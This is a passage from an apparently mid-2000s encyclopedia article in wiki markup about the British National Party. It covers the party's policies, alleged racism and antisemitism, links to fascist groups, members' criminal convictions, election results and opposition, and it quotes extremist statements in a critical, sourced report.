*The introduction of a system of voluntary, financially-aided repatriation for existing, legally-settled immigrants.
*The repeal of all equality legislation, regarded as positive discrimination/reverse [[discrimination]].
*Withdrawal of the [[United Kingdom]] from the [[European Union]] and the pursuit of [[protectionism|protectionist]] economic measures.
*Encouraging greater [[share-ownership]] and worker [[Cooperative|co-operatives]].
*Funding public spending increases and tax cuts by cutting [[foreign aid]].
*The introduction of [[corporal punishment]] for petty criminals and vandals, and the introduction of [[capital punishment]] for paedophiles and terrorists and its reintroduction for murderers.
*The reintroduction of [[national service]] and the requirement of people completing national service to maintain a standard issue [[automatic rifle]] in their home.
*A mandatory jail term for anyone assaulting an NHS worker.

Other policies include the promotion of [[organic farming]], funding to allow one parent in every family to stay home and raise children not yet of school age, and increasing [[Defense (military)|defence]] spending.

==Alleged racism==

===Racist history of party and claims of repudiating racism===

In October 1990, the BNP was described by the [[European Parliament]]'s committee on [[racism]] and xenophobia as an &quot;openly Nazi party... whose leadership have serious criminal convictions&quot;. When asked in 1993 if the BNP was racist, its deputy leader [[Richard Edmonds]] said, &quot;We are 100 per cent racist, yes&quot;. 

The BNP's original leader, [[John Tyndall (politician)|John Tyndall]], had proclaimed in 1968 that &quot;[[Mein Kampf]] is my Bible.&quot; Under his leadership, the BNP was strongly supportive of the [[South Africa|South African]] [[Apartheid]] system. 

When [[Nick Griffin]] eventually became Chairman in 1999, the party began to water down their public statements about racial issues.  Griffin claims to have repudiated racism, instead espousing something he calls &quot;ethno-nationalism&quot;.  He claims that his core ideology is &quot;concern for the well-being of the English, Scottish, Welsh and Irish ethnic nations that compose the [[United Kingdom]]&quot;. 

The party now claims to oppose any unfair discrimination on the grounds of race and to disavow any interest in white supremacy, which it defines as the &quot;wish to rule over foreign peoples&quot;. Nevertheless, its constitution states that all members must be of &quot;British or closely kindred native European stock.&quot; The BNP is opposed to mixed-race relationships on the stated ground that ethnic differences must be preserved; it argues that when a white person produces a mixed-race child, &quot;a white family line that stretches back into deep pre-history is destroyed&quot;.

Nick Griffin has stated his views on race as follows: 
:&quot;... while the BNP is not racist, it must not become multi-racist either. Our fundamental determination to secure a future for white children is restated, and an area of uncertainty is addressed and a position which is both principled and politically realistic is firmly established. We don't hate anyone, especially the mixed race children who are the most tragic victims of enforced multi-racism, but that does not mean that we accept [[miscegenation]] as moral or normal. We do not and we never will.&quot; [http://www.bnp.org.uk/articles/race_reality.htm]

Griffin's use of the phrase &quot;secure a future for white children&quot; seems to allude to the [[White nationalism|white-nationalist]] &quot;[[Fourteen Words]]&quot;.

===Anti-Semitism===

The BNP denies that it is anti-Semitic and points out that the party has Jewish members, and one of its councillors, Pat Richardson, is herself Jewish. The party's website states that racially British or European Jews may join the party. 

Nevertheless, the party and its leadership have a documented history of anti-Semitic speech and activity, including [[Holocaust denial]]:

*In the early [[1990s]] the BNP regularly and openly published the journal ''[[Holocaust News]]''; a newspaper whose sole purpose was to deny the [[Holocaust]].[http://www.s-light.demon.co.uk/presspack/gh6.html]

*BNP leader Nick Griffin has repeatedly denied the Holocaust. He has also alleged that a Jewish cabal controls the British media. (See entry on [[Nick Griffin|Griffin]] for more detail.)

*The 2002 [[Channel 4]] Documentary &quot;Young, Nazi and Proud&quot; featured secret filming of BNP youth leader [[Mark Collett]] claiming his admiration for [[Hitler]], and stating &quot;I'd never say this on camera, the Jews have been thrown out of every country including England. It's not just persecution. There's no smoke without fire.&quot;  It also featured footage of visitors to the party's annual &quot;Red White and Blue&quot; festival, some of whom wore [[SS]] symbols and the legend &quot;88&quot; (code for HH; [[Heil Hitler]]), others simply had straightforward [[swastika]] [[tattoos]]. [http://www.channel4.com/news/2003/special_reports/young_nazi_proud.html] Collett resigned from the party after the documentary's filming, but rejoined shortly afterwards, with the approval of Nick Griffin on the condition that Mark Collett change his views on the subject, or at least, to never let them influence his involvement with the Party again.

===BNP claims of &quot;anti-white racism&quot;===

A recurrent theme of the BNP's current campaigning is its accusation that the mainstream media and police devote less attention to racially motivated violence when the victims are white. The party has frequently cited the cases of [[Gavin Hopley]] of [[Lancashire]] and [[Kriss Donald]] of [[Glasgow]], two young white men whose murderers were Asian, and whose murders the BNP maintains were hate crimes.

The BNP conducted a demonstration outside the offices of the [[National Union of Journalists]] (NUJ) to highlight what it regarded as biased coverage of the Hopley case. The police and the NUJ have rejected the BNP's criticism, pointing out that ten men were arrested within a week of Hopley's murder, and 48 articles were written on the subject by NUJ members. Hopley's family have also distanced themselves from the BNP.[http://www.nuj.org.uk/inner.php?docid=706]

===Christmas party incident===

In [[December]] [[2004]], the British tabloid the [[Daily Mirror]] reported that a BNP member had hired a black DJ by telephone for the BNP Christmas party without knowing that he was black. The Mirror [http://www.mirror.co.uk/news/allnews/page.cfm?objectid=14947504&amp;method=full&amp;siteid=50143 claimed] that some members walked out, which the BNP [http://www.bnp.org.uk/news_detail.php?newsId=62 denied].

==Alleged fascism==

===Alleged fascist nature of party===

Although the BNP strongly disputes that its policies or members espouse neo-Nazism, some opponents of the party, as well as journalists in two newspapers, the [[right wing politics|right wing]] [[tabloid]] ''[[Daily Express]]'' and the [[Left-wing politics|left wing]] [[broadsheet]] ''[[The Guardian]]'', have claimed often that the BNP is not only racist but also an explicitly [[fascist]] or [[neo-Nazi]] organization.

The former leader of the [[Conservative Party (UK)|Conservative Party]], [[Michael Howard]] has called the BNP 'a bunch of thugs dressed up as a political party.'[http://politics.guardian.co.uk/conservatives/story/0,9061,1151601,00.html]

===Links to fascist/neo-nazi groups and individuals===

While Griffin was still a leading figure in the National Front, he was a close associate of [[Roberto Fiore]], an [[Italian people|Italian]] who belonged to a Fascist group which carried out the [[Bologna massacre]], killing 85 people and injuring 200 others in the train station of that town.

The violent, openly neo-Nazi group [[Combat 18]] was formed in 1992 (although not originally under this name), to act as stewards for BNP rallies, which were often physically assaulted by left-wing groups, such as [[Anti-Fascist Action]]. According to the BNP, all associations with Combat 18 were ended shortly after the latter were formed, John Tyndall telling BNP members that they could not be members of both organisations simultaneously.

When Tyndall was still chairman, the BNP's 1995 national rally was addressed by American neo-Nazi Dr. [[William Luther Pierce|William Pierce]], head of the US [[National Alliance]]. Pierce wrote ''[[The Turner Diaries]]'', which allegedly inspired [[Timothy McVeigh]] to carry out his [[Oklahoma city bombing]], killing 168 people. The American Friends of the BNP, a party offshoot headed by [[Mark Cotterill]], was still having extensive contacts with the much more extreme [[National Alliance]] as recently as 2003, as documented at length by [[Nick Ryan]] in his book ''Homeland: Into A World of Hate''. [http://www.splcenter.org/intel/intelreport/article.jsp?aid=483]

[[Redwatch]], a website that publicises the names and addresses of left-wing activist, and has led to death threats and harassment, was set up by ex-BNP member [[Simon_Sheppard (far-right activist)|Simon Sheppard]] in [[2001]]. The BNP has proscribed the use of the website by its members.[http://www.redwatch.org.uk/bn1.jpg] Nevertheless, BNP Youth leader [[Mark Collett]] has been implicated in involvement with the site.

The [[London]] [[nail bomb|nailbomber]], [[David Copeland]], was a member of the BNP for about two months before moving to the [[National Socialist Movement]]. Copeland says he left the BNP because it did not support his extremist views as fully as he had liked.  Nonetheless, his stated aim was to start a &quot;race war&quot; which would &quot;lead white people to vote for the BNP&quot;.

The BNP distanced itself from Copeland. However, Griffin wrote in the aftermath of the Admiral Duncan pub bombing (which killed three people, including a pregnant woman) that the gay people protesting against the murders were &quot;flaunting their perversion in front of the world's journalists, [and] showed just why so many ordinary people find these creatures disgusting.&quot;

In response to allegations of neo-Nazism the BNP under the leadership of Nick Griffin has publicly denounced the utility of neo-Nazism in relation to British Nationalism.[http://www.bnp.org.uk/articles/appeal_swastika.htm]

Similarly, Griffin urges white nationalist oriented youth to join the BNP and use the ballot box instead of violence to achieve political aims. [http://www.bnp.org.uk/articles/no_confrontation.htm]

==Violence and criminal behaviour==

BNP organisers and members have advocated and been convicted for violence. 

BNP publications in the past have glorified racist violence. In 1991, the BNP newspaper gloated after several BNP supporters stabbed an African immigrant at London Bridge station. The victim had his “kidney surgically removed”, the paper boasted. 

In 1995, Nick Griffin wrote in 'The Rune' magazine of the need to defend &quot;rights for whites&quot; with &quot;well-directed boots and fists&quot; [http://www.guardian.co.uk/Archive/Article/0,4273,4019864,00.html].

===Convicted BNP leadership and organisers===

*[[Tony Lecomber]] was jailed for possessing explosives in [[1985]] and for assault in [[1991]], when he almost killed a man on the [[London Underground]]. He was [[Nick Griffin]]'s key deputy in the party from [[1999]] until [[January]] [[2006]].
*[[Kevin Scott]], the BNP's North East regional organiser[http://www.electoralcommission.org.uk/files/dms/BritishNationalParty_17911-13262__E__N__S__W__.PDF], has two convictions for assault and using threatening words and behaviour.[ http://news.bbc.co.uk/hi/english/static/in_depth/programmes/2001/bnp_special/membership/organisers/kevin_scott.stm]
*Joe Owens, a BNP candidate in [[Merseyside]] and former bodyguard to [[Nick Griffin]], He has served eight months in prison for sending razor blades in the post to Jewish people and another term for carrying CS gas and knuckledusters.[http://icliverpool.icnetwork.co.uk/0100news/0100regionalnews/page.cfm?objectid=12800817&amp;method=full] 
* [[Tony Wentworth]], BNP student organiser, was convicted alongside Mr Owens for assaulting demonstrators at an anti-BNP event in 2003.[http://www.manchesteronline.co.uk/men/news/s/163/163054_bnp_pair_fined_for_brawl_on_campus.html].
*Jason Douglas, a BNP candidate in the 2004 London local elections, is a convicted [[football hooligan]].[http://www.peterskinnermep.com/modules/news/article.php?storyid=166]
*Brian Turner, a Burnley BNP councillor, is a convicted wife-beater.[http://www.socialistworker.co.uk/article.php4?article_id=5909] 

Other examples are cited on the [http://news.bbc.co.uk/hi/english/static/in_depth/programmes/2001/bnp_special/membership/organisers/criminal.stm website] of the BBC [[Panorama]] special, &quot;Under the Skin of the BNP&quot;. 

The BNP says that over 20% of the working population has some criminal record or another. The party argues that it does not and cannot completely vet every single member and that it is impossible to know the proportion of members with a criminal conviction in any party.

Critics of the BNP assert that the percentage of elected politicians with criminal records belonging to mainstream political parties is much lower, that many of the offences committed by the BNP are substantially more serious than the offences typically committed by the general population of minor criminals, that the people named are prominent members of the BNP, and that the party is more tolerant of the criminal actions of some of its members than other parties would be.    

===Alleged links to Loyalist paramilitaries===

The BNP has been accused of links with Loyalist paramilitaries in [[Northern Ireland]].[http://news.bbc.co.uk/1/hi/northern_ireland/3390249.stm][http://www.labournet.net/ukunion/0401/pcsaf1.html]

===Alleged incitement of violence===

As well as crimes carried out by individual members of the BNP, there have been accusations that elements in the BNP leadership incited violence for political reasons.

Andy Sykes was the Bradford organiser for the BNP. He says he became somewhat alienated from the organisation when members were &quot;over the moon&quot; about race riots in Bradford in 2001, when he was &quot;devastated by the harm it had done to Bradford, and it didn't seem right for them to be so pleased.&quot;

Sykes then claims he &quot;got this call [from another BNP organiser] telling me to get as many lads together as I could and go and attack any TUC members or Labour people or lefties&quot; at an anti-racist event organised after the riots.

&quot;I was horrified. I told him this was a fun day with women and children and he said that if women wanted to support the TUC they deserved what they got.&quot; [http://www.rvar.org.uk/pages/FAQs/recant.htm]

In 1989, a group of elderly people who were protesting the existence of a BNP branch in Welling were attacked by a group of 40 men. Former BNP member Matthew Collins claims that after the attack, &quot;they were sitting around [BNP headquarters], talking about how they'd bashed those Reds and those Pakis. But they weren't - they were women. Old women.&quot; Collins also claims he was asked to contribute to a fund for the defence of four men who had been arrested after the attack.[http://observer.guardian.co.uk/race/story/0,11255,664997,00.html]

==Electoral strategy==

The BNP aims strongly to appeal to those members of the population who consider [[immigration]] to be a threat to jobs, a cause of rising crime, and a basis for cultural decline. Under its current policy, the party backs an immediate halt to all further non-European immigration and the voluntary resettlement of foreigners to their lands of ethnic origin by way of generous &quot;homeward-bound&quot; grants which would be made available to anyone who wanted to take advantage of them. 

Some critics of the party claim that it endorses consideration of &quot;forcible repatriation&quot; for those foreigners who refuse to return, as it states so in various papers, and documents.

The party has also stated that it does not regard non-white people as being British, even if they have been born in the UK and are British citizens. Instead, the BNP has stated that such people living in the UK would be regarded as 'permanent guests'. 

The party has often been accused of exploiting and inflaming [[race|racial]] tensions for its own benefit in a number of areas, a claim the BNP vociferously denies - indeed, it states that if any individuals responsible for inflaming racial tensions have any connection with the BNP, such connections would swiftly be ended once discovered. The party also claims to be merely the 'messenger' of racial tension, not their creator, which it attributes to current immigration policy.

The party cites its statement that all members must stay out of volatile areas at times of high racial tension, or face expulsion from the party.  While the BNP has regularly marched in areas where their presence was provocative, the BNP claims it has made no marches since Nick Griffin took up its leadership, however the night before the riots in Bradford, the BNP held a meeting of 100 in a Bradford pub, as claimed by several independent witnesses.  Indeed, Hasmukh Shah, an international trustee of the Vishwa Hindu Parishad (VHP) often boasts that Nick Griffin arrived personally, to meet him, looking to create sectarian alliances against Muslim people.  

A 22 year old Kurdish refugee was stabbed to death in Sighthill, Glasgow, following a British National Party meeting in which The BNP boasted in the July edition of its publication Identity that they &quot;spearheaded a new campaign ... against asylum seeker placements in the Sighthill area&quot;. The two incidents however may not be connected.

In the case of [[Burnley]], BNP election canvassers handed out leaflets claiming that the town's Asian population was receiving preferential treatment from the local council (which the council has strenuously denied).  Critics cite this as an example of the BNP's efforts to incite racial division, the BNP states that it simply wants to see fair and equal funding to all ethnic groups within the town.

The official [[government]] report into the Burnley troubles showed that a majority of white people living in the town believed that Asians were receiving preferential treatment to the detriment of the white population. [http://web.archive.org/web/20030206225617/www.burnleytaskforce.org.uk/findings.htm]. However official government statistics dismiss this claim as false.  

The BNP does still hold protests at specific events - one of the most famous of these was at the count in the Oldham elections of 2001, where Nick Griffin and [[Mick Treacy]], the party's Oldham organiser, wore gags and T-shirts bearing the words &quot;''Gagged for telling the truth''&quot; in protest of the decision to ban candidates' speeches at the event due to the BNP's presence.

No BNP candidate has ever won a seat as a [[Member of Parliament]] in the [[United Kingdom House of Commons|House of Commons]], although in [[2001]] - possibly partially due to a number of [[riot]]s in the North of [[England]] that were arguably race-related - BNP local election results improved markedly. The then growing issue of [[Refugee|asylum-seekers]] was another probable factor contributing to this increased electoral success.

In the current climate the major emphasis of the BNP's electoral propaganda appears to be anti-Islamic, alleging widespread support of extremism and terrorism amongst the [[Muslim]] community. Despite this, the BNP arguably has some overlapping ideological convergences with Islamist extremism. When current leader Nick Griffin was still a member of the National Front, he appealed to Ayotolla [[Khomeini]] and Colonel [[Gadaffi]] for funding, and both were praised in the NF's publications.[http://news.bbc.co.uk/hi/english/static/in_depth/programmes/2001/bnp_special/the_leader/biography.stm]

A further ironic development is the conversion of [[David Myatt]], the cultural guru of [[Combat 18]](C18) to [[Islamism]]. Myatt continues to be respected by ex C18 members, several of whom are now BNP candidates.

==Electoral performance==

The BNP currently has 24 elected local councillors, out of the many thousands of local councillors across the UK. Nick Griffin light-heartedly described the Party's PR department (one of its most important strata) as being &quot;''basically made with shoestring, sealing wax and bits of orange peel''&quot;. However, with the parties growth comes greater resources, so we can expect to see more work from BNPtv, their audio/visual wing.[http://www.bnp.org.uk/bnptv/bnptv_intro.htm]

The BNP's first electoral success came in September [[1993]], when [[Derek Beackon]] was returned as councillor for [[Millwall]] (in [[London]]) on a low turnout. He lost his seat in further elections the next year, although his personal vote actually increased by 30% (on a turnout of 70%). The Millwall seat was the Party's only electoral victory in John Tyndall's seventeen year reign as leader.

In the council elections of May 2002, three BNP candidates gained seats on [[Burnley]] council. This was interpreted in some quarters as an indicator of the mood of the British electorate. The BNP had fielded 68 candidates nationwide.

In the council elections of May 2003, the BNP increased its Burnley total by five seats, thus briefly becoming the second-largest party and official opposition on that council, a position it narrowly lost soon afterwards to the [[Liberal Democrats (UK)|Liberal Democrats]], which beat the BNP by a margin of just 0.4% in a by-election. The five new Burnley seats were formerly held by a combination of all three mainstream political parties, suggesting that the BNP was winning votes from across the political spectrum. The Party contested a record 221 seats nationwide (just under 4% of the total available). They won eleven council seats in all, though Nick Griffin was unsuccessful in his attempt to gain a place on [[Oldham]] Metropolitan Council.

The BNP failed to win any council seats in [[Sunderland]] despite putting candidates up for election in all 25 of the city's wards, and an extensive campaign. However, the Party did substantially increase its Sunderland vote. In the general election of 2001, their candidate received 1,263 votes. In the May 2002 council election, the BNP fielded a candidate in just one ward, receiving slightly over 13% of the vote on a 22% turnout. In the 2003 elections, the party received an average of just under 14% of the votes across all 25 seats, on an increased average turnout of 46%. The party retained 24 of its 25 election deposits, narrowly losing the other one with a vote of 4.84% against the deposit retention benchmark of 5%. Of the other 24 seats, six gained between 5 and 10% of the vote, twelve between 10 and 20%, and six between 20 and 29.65%, the latter figure being the highest single percentage. The total vote gained was 13,652, more than ten times the general election figure of just two years previously. One of the most interesting points about the Sunderland elections was how the different news media reported the outcome.  The BNP has also gained council seats in parts of the [[Black Country]] in the [[West Midlands (region)|West Midlands]] and in [[Hertfordshire]] and [[Essex, England|Essex]] in the South East of England.

Local council election results in the second half of 2003 have proved encouraging for the party, winning three out of six seats contested and narrowly missing out on a fourth. In September 2003, the newspaper ''[[The Independent]]'' described the BNP as an &quot;emerging&quot; threat to the Labour Party, whilst a Labour MEP warned his party that the BNP could gain a seat in the [[European Parliament Election, 2004 (UK)|2004 elections to the European Parliament]]. The BNP has also stated that it believed it could win &quot;between one and three seats&quot; in that election, almost certainly including the &quot;North West England&quot; EU constituency. In fact, although their share of the vote increased to 4.9%, they failed to win a single seat.

As of October 2003, the Party has seventeen elected councillors, all in England. This was previously eighteen, but the BNP expelled one of its existing Burnley councillors from the Party after his alleged unruly behaviour at its annual 'Red, White and Blue' festival. At the Party's request, the councillor subsequently resigned his council seat. The former councillor in question had been hurriedly chosen after the party's first choice was unavailable to stand for election at very short notice. The BNP claimed it had no way of predicting the unsuitability of this last-minute choice due to the circumstances, and describes the incident as only a &quot;minor setback.&quot; The party lost the subsequent by-election caused by the resignation.

The BNP is a UK-wide party and has contested seats in [[Wales]] and [[Scotland]], as well as England. In the Scottish parliamentary elections of 2003, it contested only the Glasgow region (with only one person on their list) and polled poorly.  It failed to contest any Scottish seats in the 2001 elections, but did put up a candidate for [[Newport West]] in Wales. It has now announced plans to contest elections in [[Northern Ireland]] and has already selected some candidates.  On [[18 December]], [[2003]], the party polled 14.7% in a by-election in Aston Ward for Flintshire County Council, north Wales.

The Party is also picking up an increasing share of the vote in the [[South West England|South West]] of England, where its strongly [[eurosceptic]] policies were believed to be most popular.

Many commentators have put the electoral successes of the BNP down to voters' casting a 'protest vote' against what they perceive as incompetence by their local councils, and disillusionment with the mainstream parties, rather than support for the BNP's policies. However, the BNP's consistent good polling in some areas has led some to question this analysis.

In [[December 2003]], the BNP welcomed its first councillor defector - a former member of the Conservative party on Calderdale council [http://www.bnp.org.uk/news/2003_dec/news_dec06.htm], [http://news.bbc.co.uk/1/hi/england/west_yorkshire/2990052.stm].
The move surprised many commentators, but the party has stated that it expects such events to become frequent occurrences:  &quot;''A number of councillors from other parties are reported to be awaiting the outcome of next June's Local Election results and where a BNP Group (two or more councillors) exists we expect quite widespread defection from the Tories in particular.''&quot; Since this statement was made, three further defections to the party have taken place (as of October 2004).

The party's most recent election success saw it gain its highest ever proportion of the vote - 51.9% (on a turnout of 28.8%), more than all the other parties put together, in the Goresbrook ward of [[Barking]] on [[16 September]] [[2004]]. However, less than ten months after his election, BNP Cllr. Daniel Kelley has, after complaining to the local press that other councillors treated him &quot;like a leper&quot; and on supposed grounds of ill-health, resigned his seat.  Kelley had also told the local newspaper, the Barking and Dagenham Recorder [http://www.bdrecorder.co.uk], that &quot;There's meetings that go right over my head and there's little point in me being there&quot;.  A new election was held on [[23 June]] [[2005]], in which this time the Labour candidate gained 51% of the vote, and the BNP came second with 32%. [http://www.lbbd.gov.uk/9-democracy/elections/results/elect-by-goresbrook-05.html] 

In a subsequent byelection in the nearby Village Ward in [[Dagenham]] on [[7 October]] it polled 38.4% of the vote, coming second to Labour and gaining more than twice the vote of the Conservative candidate. No other parties stood.

In the 2005 General Election the British National Party stood 119 candidates across England, Scotland and Wales. Between those candidates the BNP polled 192,850 votes, gaining an average of 4.2% across the seats they stood in, and 0.7% nationwide - a 0.5% rise from the 2001 election. In those seats which the BNP stood in they were the 4th largest party. However, they did not stand nationwide, meaning that their national share of the vote was substantially lower than other minor parties.

==Opposition to the BNP==

The BNP's policies have been rejected by a majority of the voters in most places where its candidates have stood for election, although its share of the vote has increased in recent years in many of the areas in which they have stood.

The BNP is condemned by all sections of the mainstream media, including right-wing newspapers, such as the Sun and Daily Mail, which share some of the party's concerns over immigration.  Representatives of the three major mainstream political parties all condemn the BNP, although the party has taken council seats from them all in various areas. High-ranking politicians from each of the mainstream parties have, at various times, called for their own supporters to vote for anyone but the BNP. This message has confused many as, for instance, Conservative supporters are not sure whether their own party are asking them ''not'' to vote for their own candidate, but rather for whoever is most likely to defeat the BNP. Where the BNP has still proved successful, the mainstream parties have usually been quick to blame each other for the BNP's success. At the 2003 Conservative Party Conference, [[Trevor Phillips]], Chairman of the [[Commission for Racial Equality]] (and former Labour Party candidate), said that the BNP's success was partly due to lacklustre election campaigns by the Tories. He asked local Conservative branches to &quot;raise their game when it comes to electioneering.&quot; This request was subsequently ignored when a local Conservative branch in Halifax refused to stand a candidate against the BNP in an election which they, themselves, had no chance of winning. This was in spite of their own Conservative Central Office's ordering them to do so.

According to the BNP, an increasing number of former Conservative supporters are also turning to the party. It is thought that their strong [[Euroscepticism|anti-EU]] policies strike a chord with many disenchanted Conservative voters; however, in the run up to the 2004 European elections this position was taken by the right-wing [[UKIP]] (UK Independence Party), resulting in them receiving the majority of the anti-Europe &quot;protest vote&quot;, rather than the more hardline BNP.

Because of its lack of substantial electoral support across the country, but despite their high media profile, the BNP is still widely considered to be at the fringes of British politics. However, media comment on some issues such as asylum-seekers is often very close to the BNP's position, and the party's chairman, Nick Griffin, has described the [[tabloid]]s as &quot;one of the BNPs best recruiting agents&quot; in the past.

Amongst the most visible and vocal opponents of the BNP and other right-wing groups at the present time are [[Unite Against Fascism]] and [[Searchlight magazine|Searchlight]]. Unite Against Fascism, which aims to unite the broadest possible spectrum to oppose the BNP and the far-right, includes the [[Anti-Nazi League]] (ANL) The [[National Assembly Against Racism]] (NAAR) The [[Student Assembly Against Racism]] (SAAR) as well as faith and community leaders and politicians from all major British political parties including the [[Labour Party (UK)|Labour Party]],  [[The Conservative Party]] (Including current party leader [[David Cameron]], The [[Liberal Democrats]], [[Green Party]], and [[UKIP]]. The ANL, along with [[Rock Against Racism]] (RAR) originated during the late [[1970s]] by the [[Socialist Workers Party (UK)|Socialist Workers Party]]. The ANL disappeared during the 1980s and was revived in the 1990s, again by members of the SWP. During the late 1970s, the more radical and revolutionary &quot;[[Red Action]]&quot; camp broke away from the rest of the ANL due to ideological differences and formed the AFA. 

[[Searchlight magazine]], edited by [[Gerry Gable]], has monitored the activities of the BNP and its members for many years, and has published many articles highly critical of them and other organisations of the right, including [[UKIP]] and the [[Conservative Party (UK)|Conservative Party]]'s &quot;[[Monday Club]]&quot;. One of the more effective campaigning resources available to anti-fascists has been Searchlight's &quot;election special&quot; tabloids - free eight-page newspapers written in the style of a red-top tabloid but with national and local stories critical of the BNP.

The UAF and Searchlight both obtain a large amount of income from trade union donations. There are also many local anti-fascist groups which draw on the resources of one or both of these organisations.

A great deal of controversy has taken place regarding the values of [[free speech]] as opposed to [[hate speech]] in regard to the BNP. Griffin and the BNP have called for more open debate on racial/immigration issues within the public sphere. 

Anti-fascist groups like the ANL call for no positive coverage to be given to groups or individuals enunciating what they describe as &quot;[[hate speech]]&quot;.  Such a tactic states that the BNP and similar parties should be ignored by both rival politicians and the media. The policy is most commonly associated with university student unions and debating societies, but has also resulted in BNP candidates being banned from speaking at various Hustings meetings around the country.

Examples of the &quot;no platform&quot; policy being operated include:

* Complaints directed at the [[Leeds Student]] newspaper after it published a full-page article/interview with Nick Griffin. The Leeds Unite Against Fascism (LUAF) group accused the publication of breaching Leeds University Students' Union 'No Platform' policy, whereby extremist organisations are prohibited from expressing their views on campus. [http://www.leedstoday.net/ViewArticle2.aspx?SectionID=39&amp;ArticleID=971585] 
* An invitation to Nick Griffin by the University of St Andrews Union Debating Society to participate in a debate on multiculturalism was condemned [http://news.scotsman.com/latest.cfm?id=4085642], then withdrawn after protests and threats against the organisers [http://thescotsman.scotsman.com/education.cfm?id=136502005]. 

Examples of more direct action against the BNP include obstruction of BNP activists who set up stalls in shopping centres. For example, members of the [[Scottish Socialist Party]] in [[Edinburgh]] blockaded and forced a BNP publicity stall to close. [http://news.scotsman.com/politics.cfm?id=332032005]

Such cases are often used by the BNP to push their messages against &quot;so-called political correctness&quot;, in their supposed support of &quot;freedom of speech, and democracy&quot;.[http://www.bnp.org.uk/news_detail.php?newsId=164]

Due to campaigning from anti-fascist groups, the BNP has encountered difficulties finding a company prepared to print their monthly publication ''The Voice of Freedom'' [http://www.bnp.org.uk/freedom/]. At one point they had to resort to using a Saudi Arabian-owned firm which mainly employs Asians and Muslims [http://www.printweek.com/news/index.cfm?fuseaction=article&amp;UID=d2c6dc67-7c8c-4686-956f-439289db19f3].  

The Party subsequently acquired a printing press in the run up to the 2005 general election, thereby removing its dependency on external printing houses. In September 2005, 60,000 copies of Voice of Freedom, which had been printed in [[Slovakia]], were seized by British police at Dover. 

A teacher who stood for the BNP in the 2004 European Elections was suspended.  A Leeds careworker who stood for them in the 2005 General Election was sacked.  Also dismissed was a disabled persons bus driver, elected as a BNP councillor in Bradford. The police have issued a directive banning BNP members and this policy has been discussed in the fire brigades and Civil Service.  

The BNP argue that the 2005 European Elections were gerrymandered to keep them out and were rigged, and claim that they should have won the 2000 Stoke Mayoral Election, accusing the Returning Officer of refusing to count preference votes.

==BNP front groups==

The BNP has used various [[front organization]]s to give the impression of wider support for its activities, and in an attempt to access potential supporters. By their very nature, front groups are usually denied as such by both the organizations behind them and the groups themselves, so any attempt to identify them is a matter of judgement. Nevertheless, there is evidence (usually in the form of common organizers) that the following operate as BNP fronts:

* [[Solidarity – The Union for British Workers]] (denied to be a front by both the BNP and Solidarity's president, [[Patrick Harrington]]; see article for details)
* [[Civil Liberty (UK)]]
* The &quot;Christian Council of Britain&quot;, whose support during the Griffin/Collett trial was [http://www.bnp.org.uk/news_detail.php?newsId=732 cited] by the BNP alongside that of Civil Liberty. There seems to be no evidence for the existence of this group outside discussions of the demonstrations during the trial, many of which speculate that it is a BNP front. It may be named to echo/oppose the [[Muslim Council of Britain]], an idea floated on 'patriotic' bulletin boards as far back as 2004.[http://www.crossofstgeorge.net/forum/viewtopic.php?t=7555&amp;start=0&amp;sid=03fe8564d02824b3ee9b778aea49e840]

[[Great White Records]], a &quot;patriotic record label&quot; launched in January 2006, is not a BNP front, as it acknowleges its connection to the party.[http://greatwhiterecords.com/statement.html]

==Affiliated parties==

The BNP and the French ''[[National Front (France)|Front National]]'' have co-operated on numerous occasions. [[Jean-Marie Le Pen]] visited the UK in [[2004]] to assist launching the BNP's European Parliament campaign [http://news.bbc.co.uk/1/hi/uk_politics/3654941.stm], and Nick Griffin repaid the favour by sending a delegation of BNP officials to the FN's annual 'First of May Joan of Arc parade' in Paris last year [http://www.bnp.org.uk/news_detail.php?newsId=288].

The BNP also has links with [[Sweden|Sweden's]] [[National Democrats (Sweden)|National Democrat Party]] (''Nationaldemokraterna''). In the run-up to the [[European Parliament election, 2004 (Sweden)|2004 European Parliament election campaign]], Nick Griffin visited Sweden to give that party his endorsement. Members of the Swedish National Democrats were present at the BNP's ''Red White and Blue'' rally which took place over the weekend of 20-21 [[August 2005]].[http://www.bnp.org.uk/news_detail.php?newsId=478]

==Previous British National Parties==
The current use of the name British National Party is its third appearance in British politics. The original BNP emerged after the [[World War II|Second World War]] when a handful of former members of the [[British Union of Fascists]] took on the name. This party was absorbed quite quickly into the [[Union Movement]].

A second [[British National Party (1960s)|British National Party]] also emerged in [[1960]] and went on to form a part of the NF.

==Appendices==

===See also===
*[[British Nationalism]]

===References===

*Hill, Ray. ''The Other Face of Terror'', with Andrew Bell, Grafton 1988. ISBN 0586069356
*Tyndall, John (2003). &quot;[http://www.spearhead.com/0310-jt2.html The Problem Is Mr Griffin]&quot; in ''[[Spearhead (magazine)|Spearhead]]'', [[October]] [[2003]]

===External links===

====Official party sites====
* [http://www.bnp.org.uk Party Website Homepage]
* [http://www.bnp-forum.co.uk Official BNP Forum] (Party membership needed for access)
* [http://www.bnp.org.uk/bnptv/bnptv.php BNP Internet TV]

====Opposition to the BNP====
*[http://www.uaf.org.uk/ Unite Against Fascism]
*[http://www.anl.org.uk Anti-Nazi League]

====General press articles====
* [http://newssearch.bbc.co.uk/cgi-bin/search/results.pl?tab=news&amp;start=1&amp;q=BNP&amp;scope=newsukfs Assorted BBC news articles about the BNP]
* [http://news.bbc.co.uk/hi/english/uk/newsid_1507000/1507680.stm BNP: A Party on the fringe (source: The BBC)]
* [http://news.bbc.co.uk/hi/english/static/in_depth/programmes/2001/bnp_special/friends_abroad/american_friends.stm BBC news story: Under the skin of the BNP]
* [http://www.guardian.co.uk/race/0,11374,617115,00.html ''Guardian Unlimited'': Special Reports 'Race in the UK']
* [http://politics.guardian.co.uk/farright/0,11375,617119,00.html ''Guardian Unlimited'': Special Reports 'The Far Right in Britain']
* [http://www.guardian.co.uk/farright/0,11981,711266,00.html ''Guardian Unlimited'': Special Reports 'Europe's Far Right']
* [http://observer.guardian.co.uk/comment/story/0,6903,687941,00.html ''The Observer/Guardian'' story: Be afraid of the BNP]
* [http://www.halifaxcouriertoday.co.uk/ViewArticle2.aspx?SectionID=700&amp;ArticleID=702742 Illingworth Tory defects to the BNP] - Halifax Courier story on defecting Conservative councillor moving to the council's BNP group.
* ''Telegraph'' story, [[20 August]] [[2003]]: [http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2003/08/20/nbnp20.xml  Councillor in fracas expelled by BNP]
* BBC story, [[5 September]] [[2003]]: [http://news.bbc.co.uk/1/hi/uk_politics/3082708.stm  BNP wins another seat]
